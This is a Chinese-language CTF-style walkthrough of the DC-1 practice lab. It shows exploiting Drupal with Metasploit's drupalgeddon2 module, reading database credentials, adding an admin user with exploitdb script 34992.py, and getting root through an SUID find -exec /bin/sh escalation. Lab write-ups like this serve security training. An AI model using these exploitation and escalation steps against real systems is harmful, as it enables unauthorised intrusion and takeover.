DC-1实战手把手教详解

DC-1实战手把手教详解

文章目录

  • DC-1实战手把手教详解
    • 1、DC-1的简单介绍
      • 描述
    • 2、实战
      • (1)目标发现
      • (2)信息分析
      • 3、漏洞攻击
    • 总结

1、DC-1的简单介绍

靶机下载链接

描述

DC-1 是一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

它旨在为初学者带来挑战,但它的简单程度取决于您的技能和知识以及您的学习能力。

要成功完成这一挑战,您将需要 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

有多种获得 root 的方法,但是,我已经包含了一些包含初学者线索的标志。

总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 即可执行此操作,但是,您将需要 root 权限。

根据您的技能水平,您可能可以跳过查找大多数这些标志并直接获取根。

初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该是获取完成这一挑战所需信息的全部内容。

2、实战

(1)目标发现

首先使用nmap对局域网进行扫描,可以根据经验判断目标主机为:192.168.1.129DC-1实战手把手教详解_第1张图片

可以发现目标主机开放了22/tcp、80/tcp、111/tcp三个端口。由此我们可以猜测出web服务的打开的,于是我们尝试网页访问试一试:

DC-1实战手把手教详解_第2张图片

果然是可以访问的,我们接下来可以对该网站的目录进行爆破来收集更多的信息。

补充:这里其实我们也可以通过arp来扫描局域网主机

DC-1实战手把手教详解_第3张图片

(2)信息分析

由上上图可以得出该网站是由Drupal建站,我们应该对drupal来进行一定的了解,收集相关信息:

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。截止2011年底,共有13,802位WEB专家参加了Drupal的开发工作;228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括:联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。

Drupal是一套开源系统,全球数以万计的WEB开发专家都在为Drupal技术社区贡献代码。因此,Drupal的代码在安全性、健壮性上具有世界最高水平。这也是美国白宫、美国商务部、法国政府、纽约时报、SONY等著名政府和机构纷纷采用Drupal建设网站的最重要的原因。

Drupal具有业内最强的定制能力和灵活性,这也是造成Drupal学习难度太大的根本原因,这也是没有办法的事情,灵活性的提高必然使复杂程度提高。因此,Drupal技术圈内有一句名言——“Drupal有难度,学习需谨慎。”

Drupal强大的定制开发能力,也使其成为众多有技术实力的网站建设公司优先选用的网站开发平台。全世界的WEB专家都在为Drupal贡献自己的智慧,这是某个公司内部技术团队永远也无法享受到的。

Drupal的架构由三大部分组成:内核、模块、主题。三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护。

既然drupal如此强大,那么说明找它漏洞的人也一定很多,只要改系统不是最新的系统,一般情况或多或少都会存在已知的漏洞,因此我们马上想到了我们的渗透神器——matesploit

3、漏洞攻击

打开msf后查找drupal漏洞模块

search drupal

DC-1实战手把手教详解_第4张图片

然后选择模块进行利用:

use  exploit/unix/webapp/drupal_drupalgeddon2

image-20220904182031973

然后对相关配置进行配置

DC-1实战手把手教详解_第5张图片

修改攻击机和目标机的ip及端口:

DC-1实战手把手教详解_第6张图片

然后run一下便可获取meterpreter会话

获取会话后先搞个shell

DC-1实战手把手教详解_第7张图片

于是在shell中发现了第一个flag

DC-1实战手把手教详解_第8张图片

查看flag1如上图。

接下来我们查找www配置文件,一般查看配置文件都需要权限,此时通过python反弹一个终端获得普通用户权限:

python -c ‘import pty;pty.spawn("/bin/sh")’

然后进入/sites/default,查看settings.php文件

DC-1实战手把手教详解_第9张图片

settings.php文件内容发现flag2:

DC-1实战手把手教详解_第10张图片

成功找到flag2 :
蛮力攻击和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。这些凭证可以用来做什么?

此处提示我们需要权限,有可能是想要我们得到root权限或者是说获得drupal网站的访问权限。

根据flag中的用户名和密码推测出是数据库用户名和密码:

首先进入shell后输入如下命令通过pty.spawn()获得交互式shell

python -c "import pty;pty.s

DC-1实战手把手教详解_第11张图片

由此,我们可以连接数据库,并读取数据库内容:

mysql -udbuser -pR0ck3t

DC-1实战手把手教详解_第12张图片

查看数据库

DC-1实战手把手教详解_第13张图片

mysql>use drupaldb;          #使用drupaldb数据库
mysql>show tables;           #查看数据库内的表

DC-1实战手把手教详解_第14张图片

select语句查询users表,找到可用于登录的用户admin和密码密文

DC-1实战手把手教详解_第15张图片

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号:

msf中输入:

searchsploit drupal

输入:

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.129 -u admin3 -p admin3

DC-1实战手把手教详解_第16张图片

DC-1实战手把手教详解_第17张图片

用户创建成功,我们在数据库中查看admin3用户

DC-1实战手把手教详解_第18张图片

于是使用admin3/admin3进行登录,登录成功!

DC-1实战手把手教详解_第19张图片

在content下发现了flag3:

DC-1实战手把手教详解_第20张图片

DC-1实战手把手教详解_第21张图片

返回两级后再查看etc/passwd文件,发现flag4用户

DC-1实战手把手教详解_第22张图片

然后再flag4的用户目录下发现flag4.txt

DC-1实战手把手教详解_第23张图片

查看该文件:

DC-1实战手把手教详解_第24张图片

根据提示我们要提权至root去找最后的flag了,使用find命令查找有特殊权限suid的命令:

find / -perm -4000

DC-1实战手把手教详解_第25张图片

再使用find 命令进行提权:find /var/www/misc -exec "/bin/sh" \;

DC-1实战手把手教详解_第26张图片

DC-1实战手把手教详解_第27张图片

获取root 权限,然后在root目录下发现thefinalflag.txt

DC-1实战手把手教详解_第28张图片

总结

这个靶场相对而言是比较容易的,而且学到了大量的东西,主要理解还不够透彻的地方是find提权部分。继续加油!

你可能感兴趣的:(信息安全,linux,服务器,网络)